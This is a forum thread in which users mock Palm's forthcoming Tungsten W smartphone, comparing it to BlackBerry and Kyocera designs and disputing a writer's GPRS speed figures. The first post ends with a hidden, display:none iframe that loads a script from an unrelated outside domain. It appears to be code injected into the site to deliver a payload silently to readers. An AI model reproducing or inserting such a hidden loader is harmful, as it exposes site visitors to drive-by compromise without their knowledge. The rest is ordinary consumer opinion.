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    Sneak Peek of the New Palm Phone

    Came accross this while viewing the palminforcent.com site...

    http://www.palminfocenter.com/view_S...ODE=FLAT#64508

    Has a couple of pictures of the supposed new Palm phone.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    Jesus, what a butt ugly abomination. And GSM/GPRS to boot. This one might as well not bother being released...

    And I love this:

    "This smartphone uses GPRS/GSM wireless networks. GPRS offers 144 Kbps connections, though only under ideal conditions. GPRS is widely deployed in Europe and other parts of the world but is just getting off the ground in the U.S."

    Seems the writer has GPRS confused with CDMA 1X, which actually CAN get 144K in the mythical ideal conditions. GPRS as implemented today cannot even THEORETICALLY get over 60K or so in perfect conditions. More like 20-30 real world.

    Funny how the GPRS hype started at 172K (oops, we forgot to tell you that was forward and reverse link COMBINED), then went to 115K (oops, did we mention that was with all 8 time slots and no error correction?), down to a more reasonable 50 or so.

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    I guess Kyocera is the only manufacturer who knows how to design a smartphone. All Palm did was basically create a Treo without the flip. They suck. Of all the companies making palm OS based devices, Palm themselves makes the worst ones. What's up with that?
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    NEW PHONE

    AMEN!!!!!!!!!!!!!!!!!!!
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    New Palm...

    YUCK!
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    Well, to be honest, i've seen alot worse.

    I'm still not sure about a unit with a built-in keyboard like that though.

    The thing looks alittle like a Blackberry hug ?


    Now if you want to talk Ugly check this out.

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    2 words, Blackberry and Steroids....no my friends, it is not a pretty site. See what happens when you try to play catch-up??
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    All these manufacturers are forgetting one thing!!!

    Phone First... Palm Second

    Kyocera Gets it....
    -=Jimmyjoe=-

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    Why is it that Palm can not invent its own innovations, but seems beholden to their competitors for new ideas? The Tungsten W (the model name of this phone) is basically a blackberry. The Tungsten T (the model with the sliding controls that reveal a grafitti panel) takes lots of ideas from the Sharp Zaurus. The Zire (the new low-end model) looks like a Sony CLIE wannabe. Hard to believe this is the company which revolutionized the handheld industry.

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    Originally posted by nomad7674
    Hard to believe this is the company which revolutionized the handheld industry.

    Its Not.....

    3com was!!

    and it shows...
    -=Jimmyjoe=-

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    Originally posted by jimmyjoe
    Its Not.....

    3com was!!

    and it shows...
    Yes, and the visionaries like Hawkins are long gone.

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